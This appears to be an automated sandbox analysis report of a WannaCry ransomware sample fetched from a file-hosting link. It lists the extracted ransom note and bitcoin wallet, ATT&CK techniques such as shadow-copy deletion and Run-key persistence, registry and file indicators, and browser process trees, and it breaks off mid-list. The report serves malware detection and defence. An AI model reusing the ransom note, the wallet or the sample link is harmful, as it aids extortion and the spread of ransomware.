wannacry | hxxps://uploadhaven[.]com/download/e835078d753fbbdf43cc716ad1a892c7

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
18/04/2025, 15:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://uploadhaven.com/download/e835078d753fbbdf43cc716ad1a892c7

Score

10^/10

wannacry defense_evasion discovery execution impact persistence ransomware worm

Malware Config

Extracted

Path

C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Wannacry family
wannacry
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDE516.tmp	WannaCry.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDE51D.tmp	WannaCry.EXE

Executes dropped EXE 7 IoCs

pid	Process
4908	taskdl.exe
1164	@[email protected]
1356	@[email protected]
2212	taskhsvc.exe
4276	taskdl.exe
2008	taskse.exe
5412	@[email protected]

Loads dropped DLL 7 IoCs

pid	Process
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1956	icacls.exe
3764	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ecvwkmllmsw805 = "\"C:\\Users\\Admin\\Downloads\\WannaCry-main\\WannaCry-main\\tasksche.exe\""	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
144	camo.githubusercontent.com
145	camo.githubusercontent.com
146	camo.githubusercontent.com

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3630502724-2561614198-3854231964-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	WannaCry.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3630502724-2561614198-3854231964-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1589139917\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1589139917\deny_full_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1589139917\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\sets.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1589139917\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1589139917\deny_etld1_domains.list	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WannaCry.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WannaCry.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133894622934753614"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3630502724-2561614198-3854231964-1000\{291D2CFC-629B-42FD-B291-D8F4BE6F1A51}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3630502724-2561614198-3854231964-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3630502724-2561614198-3854231964-1000\{7D016C8A-5C36-41AE-BDB1-411098549AD5}	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3900	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
2212	taskhsvc.exe
5492	chrome.exe
5492	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5088	WMIC.exe
Token: SeSecurityPrivilege	5088	WMIC.exe
Token: SeTakeOwnershipPrivilege	5088	WMIC.exe
Token: SeLoadDriverPrivilege	5088	WMIC.exe
Token: SeSystemProfilePrivilege	5088	WMIC.exe
Token: SeSystemtimePrivilege	5088	WMIC.exe
Token: SeProfSingleProcessPrivilege	5088	WMIC.exe
Token: SeIncBasePriorityPrivilege	5088	WMIC.exe
Token: SeCreatePagefilePrivilege	5088	WMIC.exe
Token: SeBackupPrivilege	5088	WMIC.exe
Token: SeRestorePrivilege	5088	WMIC.exe
Token: SeShutdownPrivilege	5088	WMIC.exe
Token: SeDebugPrivilege	5088	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5088	WMIC.exe
Token: SeRemoteShutdownPrivilege	5088	WMIC.exe
Token: SeUndockPrivilege	5088	WMIC.exe
Token: SeManageVolumePrivilege	5088	WMIC.exe
Token: 33	5088	WMIC.exe
Token: 34	5088	WMIC.exe
Token: 35	5088	WMIC.exe
Token: 36	5088	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5088	WMIC.exe
Token: SeSecurityPrivilege	5088	WMIC.exe
Token: SeTakeOwnershipPrivilege	5088	WMIC.exe
Token: SeLoadDriverPrivilege	5088	WMIC.exe
Token: SeSystemProfilePrivilege	5088	WMIC.exe
Token: SeSystemtimePrivilege	5088	WMIC.exe
Token: SeProfSingleProcessPrivilege	5088	WMIC.exe
Token: SeIncBasePriorityPrivilege	5088	WMIC.exe
Token: SeCreatePagefilePrivilege	5088	WMIC.exe
Token: SeBackupPrivilege	5088	WMIC.exe
Token: SeRestorePrivilege	5088	WMIC.exe
Token: SeShutdownPrivilege	5088	WMIC.exe
Token: SeDebugPrivilege	5088	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5088	WMIC.exe
Token: SeRemoteShutdownPrivilege	5088	WMIC.exe
Token: SeUndockPrivilege	5088	WMIC.exe
Token: SeManageVolumePrivilege	5088	WMIC.exe
Token: 33	5088	WMIC.exe
Token: 34	5088	WMIC.exe
Token: 35	5088	WMIC.exe
Token: 36	5088	WMIC.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeBackupPrivilege	2080	vssvc.exe
Token: SeRestorePrivilege	2080	vssvc.exe
Token: SeAuditPrivilege	2080	vssvc.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeTcbPrivilege	2008	taskse.exe
Token: SeTcbPrivilege	2008	taskse.exe
Token: SeShutdownPrivilege	5492	chrome.exe
Token: SeCreatePagefilePrivilege	5492	chrome.exe
Token: SeShutdownPrivilege	5492	chrome.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
4140	msedge.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe
5492	chrome.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1164	@[email protected]
1164	@[email protected]
1356	@[email protected]
1356	@[email protected]
5412	@[email protected]
5412	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 4052	4140	msedge.exe	86
PID 4140 wrote to memory of 4052	4140	msedge.exe	86
PID 4140 wrote to memory of 4808	4140	msedge.exe	89
PID 4140 wrote to memory of 4808	4140	msedge.exe	89
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 4836	4140	msedge.exe	90
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91
PID 4140 wrote to memory of 5916	4140	msedge.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4872	attrib.exe
5600	attrib.exe
1612	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://uploadhaven.com/download/e835078d753fbbdf43cc716ad1a892c7
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x360,0x7ff8def6f208,0x7ff8def6f214,0x7ff8def6f220
  2⤵
  PID:4052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1872,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:3
  2⤵
  PID:4808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2272,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:2
  2⤵
  PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2592,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=2788 /prefetch:8
  2⤵
  PID:5916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3468,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
  2⤵
  PID:5056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3476,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
  2⤵
  PID:5076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5088,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
  2⤵
  PID:680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5216,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:8
  2⤵
  PID:2476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4256,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:8
  2⤵
  PID:700
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5924,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:8
  2⤵
  PID:2600
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5924,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:8
  2⤵
  PID:1292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=6124,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:1
  2⤵
  PID:2868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=4984,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:1
  2⤵
  PID:4312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=5048,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:1
  2⤵
  PID:5648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=6236,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:1
  2⤵
  PID:5276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=6160,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:1
  2⤵
  PID:4760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
